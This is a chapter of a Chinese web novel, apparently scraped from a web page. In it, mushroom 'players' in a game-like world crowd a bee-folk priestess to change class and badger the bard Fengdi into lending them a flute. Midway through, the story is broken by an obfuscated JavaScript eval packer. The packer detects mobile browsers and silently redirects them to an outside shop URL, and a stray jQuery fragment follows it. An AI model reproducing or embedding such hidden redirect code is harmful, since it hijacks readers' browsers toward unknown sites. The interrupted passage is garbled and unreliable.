“水有多深?”
榫卯游侠双手抱胸,身后站着基建工房七八个菇。整整齐齐地斜眼睨他。
“想拐人?”榫卯游侠语气平静,“这俩都是我朋友。”
我的盾呢的怒火仅维持了一秒,便破碎了。他哈哈笑两声,虚虚地说:“哎呀,榫哥你朋友啊,误会误会……”
他悻悻地转身,继续物色新目标,嘴里传出小声地嘀咕,抬手摸了摸被拍疼的菌盖。
榫卯游侠见他不纠缠,对那两个萌新招手:“螺纹钢,混凝土,走了。”
老带新盲盒这个大萝卜吊着,五百零五个萌新在老玩家眼里就是移动的菌晶,没一会儿功夫就被瓜分殆尽。
萌新们眼神茫然,表情呆滞,还没弄清楚状况,就已经被热情的老玩家半拖半拽地拎走了。
“我……我被卖了?”
“不,”文艺细菌拍拍他的菌盖,“你是被投资了。”
“有区别吗?”
“有。卖了你,我拿不到盲盒。”
菌主空间里,白莫古窝在懒人沙发上,透过投影把底下的闹剧尽收眼底。他菌须抖得直乐,嘴里还念叨着:“小韭菜,快快长,长大了,掐掐苗。”
-
客舍,此时还是一片安静。
岁珩坐在廊下,手册摊在膝上,认认真真地研读。
远处的喧闹隐隐飘过来,她抬眼望了望云芝菇的方向,眼里掠过一丝好奇,又低头落回书页:蘑菇勇者死亡后会原地复活,无需惊慌,也无需为他们收尸。
她惊讶地捂住嘴,菌主的神力已达如此地步了吗!想到接下来给勇者们做导师的日子,心里莫名有点期待,又有点隐隐的不安。
院落里,两名蜂使正在屋内整理行装,准备明日返族复命;其余几只围坐在院中小草地的软垫上,支着张矮木案,案上摆着幻梦食肆送来的精致糕点,正一边闲聊一边品尝。边上还搁着满满一盒,是打算带回去的伴手礼。
外头的喧闹声越来越大,顺着半掩的门扉飘进院子。
岁珩将手册合拢,起身走到前院,抬眼望去,登时愕然。
院门外黑压压的一片蘑菇人,里三层外三层地挤得水泄不通,扒栅栏的、踮脚蹦高的、骑在同伴脖子上的,还有举着荧光蘑菇晃来晃去造势的,活像丧尸围城似的堵在门口。
她上前开门,温声开口:“请问诸位蘑菇勇者,齐聚于此有何要事?”
玩家们都是文明菇,谨遵菇民守则,规规矩矩站在门外,嗓门却一个比一个亮。
“祭司大人,求转职!我要当牧师,不是,当蜂灵使者。”
“看看我看看我!纯奶、群奶、盾奶都行,我不挑。”
“一看岁珩大人这般风姿端雅,就精通疗愈之道。求收徒,求转职渠道!”
蘑菇海里也夹杂着些奇奇怪怪的发言:
“蜂娘呜呜呜~翅膀好漂亮,像透明的彩虹。”
“好香啊……是蜂蜜还是花香?闻着就甜!”
“我可以摸摸您的长发吗?求求了,就一下!”
……
屋里的蜂使们也被动静惊动,纷纷走出来。看见这阵仗,触角“唰”地同时竖起。
“哇,蜂哥也出来了。这高贵清隽的气韵,我好喜欢!”
“是茶金色眼眸的蜂弟!awsl!”
蜂使松糖瞧着冲他大喊“喜欢”“可爱”“想摸”的一堆蘑菇人,喉结滚动,难以置信地侧头问同伴:“陛下的召唤灵……是这么‘热情’的吗?”
“看这架势,怕是的。”
好在众蜂都看了手册,没当场把这群吵吵嚷嚷的蘑菇人送回复活点,只默默地往后退,留出安全距离。
岁珩忽略那些奇言怪语,总算听明白了核心诉求,都是来转职蜂灵使者的。她有些惊讶,原以为能有十几个感兴趣的就不错了,眼前这阵仗,少说也有四五十只菇。
她摇摇头,声音清亮:“诸位稍安勿躁。我族的问灵试炼,需候选者以乐器相和,与蜂灵达成共鸣方可通过。请问哪位勇士,会使用我族乐器?”
说着,她从空间手镯里取出几件蜂族常用乐器:六棱晶箜、垂丝琉弦、花甸振铃。件件雕镂精巧,清莹雅致。
玩家们你看我我看你,没一个认识的。
“乐器?什么乐器都行吗?”
“口哨行不行?我吹得可响了!”
“你闭嘴!别在这捣乱。”
岁珩耐心答了正经问题:凡乐器皆可,和声合律、能引蜂灵共鸣便算通过。
摸清规则,众玩家脑海里同时浮现出一个菇。随即一哄而散,跑得比兔子还快,生怕被抢了先机。
-
风笛音乐屋。
风笛正在内室教小工新曲,指尖拨弄着菌丝琵琶,弦声清越。
一阵急促的叩门声传来。他放下乐器走到前店,隔着玻璃窗往外一看,门口堵着五六个玩家,身后还乌泱泱跟着一大群,来势汹汹。
他心里咯噔一下,刚拉开门栓,玩家们一窝蜂就挤了进来,指着橱窗里的乐器嚷嚷开了。
“这个我要了!包起来!”
“那把吉他!给我留着!
“不行!我先看见的!”
“你看见的就是你的?我还先伸手了呢!”
风笛被挤在门后,玫耳菌盖的精致网纹已经变形,衣摆也被压得皱巴巴的。他内心崩溃,绝望开口:“你们,看得懂乐谱吗?”
“看不懂。”
“那你们抢什么?”
“抢的是资格,是机会,是转职的门票!”
“菇民守则第八条,抢劫坐牢。”风笛寡不敌众,祭出大招,“谁想封禁账号半个月的,现在就可以动手。”
众玩家不敢造次了,纷纷收回手。
蒙面虾仁灵机一动:“我们买,掏钱买总不犯法吧?”
“对,多少钱都行!”
“我出5菌晶!”
“我出6!”
“额,那我7。”
“不卖,”风笛一口回绝,理了理菌盖网纹,又恢复了吟游诗菇的骄傲劲儿,“我的乐器,只卖给懂音乐的菇和虫。”
玩家们一时不知所措。
菜的安详脑子转得快:“我可以现学!马上学!”
“现学?”风笛被气笑了,“你们连音阶都分不清,现学?”
“那借!借我们用用总行吧!”
“借也不行。”
“求你了老板!”
“大佬通融通融!”
“风笛巨巨!”
小工走过来,扒住风笛的腿。仰着小脑袋看戏,触须轻轻蹭他的手心,半是好奇半是迷惑。
风笛低头看了看懵懂可爱的小工,再瞅着这群急得团团转的丑菇。叹了口气,从展示架上取下一支素面长笛。
“只借,不卖。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701635|204571||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他强调,“损坏坐牢,丢失坐牢。走调……算了,你们开心就好。”
“好好好!谢谢大佬!”
“还有还有……”
“还有什么?”
“用完要还。”
“一定还,一定还。”
玩家们欢天喜地接过长笛,呼啦啦一阵风似的散了个干净。
“风笛哥哥,”小工小声说,“他们急急忙忙的,要去干什么呀?”
风笛也好奇,他这店素来虫民听众比玩家多,今儿还是头一回被玩家围堵。
“课改到明天。走,我们买份零食,去看看热闹。”
“好耶~”小工的触角快乐地抖了抖。
炊烟分店,幻梦小食铺,飘出令人垂涎欲滴的香气。
风笛买了两袋水苔藓脆片,一袋递给小工,一袋自己抱着,边吃边慢悠悠往客舍方向走。
还没到地方,魔音先灌进了耳朵。
笛声尖锐刺耳,既像一群被踩了尾巴的蚰蜒集体尖叫,又像钢丝在糙石头上反复刮擦。音调忽高忽低,一会儿断气似的哑下去,兀的又拔起高音。
小工赶紧捂住耳朵,两根触须被折磨得委屈蜷缩。
风笛傻眼了。他那支音色清润的长笛,此刻正发出他从未听过、完全超出音律边界的嚎叫。
幸好只借了一件,真是明智的决定,他不敢想,要是多借出几件……
客舍前,岁珩和一众蜂使铁青着脸。
蜂使们翅膀紧紧收拢,触角压低,捂住双耳。年纪最小的松糖,整只蜂缩在最后面,生怕再受折磨。
岁珩一手按在栅栏上,另一只手拳头都握紧了。
这哪里是奏乐,简直是对音乐的侮辱,对蜂灵的迫害,对一切美好旋律的亵渎。
她关闭试炼虚境,蜜鸣盏的光芒消散。转身,关门,动作一气呵成。
玩家们一看,急了,扒着栅栏喊。
“导师别走啊!再给次机会。”
“我们就是缺练习,练练就好了。”
“一定是笛子的问题!绝对不是我们的问题。”
岁珩脚步没停,先前她心软过,才又遭了一次罪。这次她心意坚决:“问灵试炼,不是儿戏。诸位勇者请回吧。”
“完了完了,职业导师直接被吹走了。”
“都怪你,吹得跟杀猪似的。”
“你吹得好?你刚才那个音都劈到天上去了。”
玩家们正互相甩锅,忽然有眼尖的,瞥见路口走来的一大一小两个身影。
“是风笛!”那玩家扯着嗓子大喊,“大佬救命!”
所有玩家齐刷刷回头。
“太好了,是风笛,我们有救了!”
“大佬求帮忙,求出攻略。”
风笛牵着小工,脚步一顿,转身就想溜。可惜晚了,玩家们已经清清楚楚看见了他。他暗遭:出门前刚整理好的仪容。
院内,岁珩听到“风笛”二字,驻足回望。想起上次的美妙乐声,眼里浮现一丝期待。
玩家们一看有戏,更大声了。这回他们还懂事地往两边退开,让出一条路。
“风笛大佬快上。职业导师在等你!”
“冲,证明下我们蘑菇一族的音乐实力!”
“王庭的荣耀和玩家的尊严,都寄托在你身上了。”
岁珩重新打开院门,小工从风笛身后探出脑袋,冲她挥挥小手打招呼。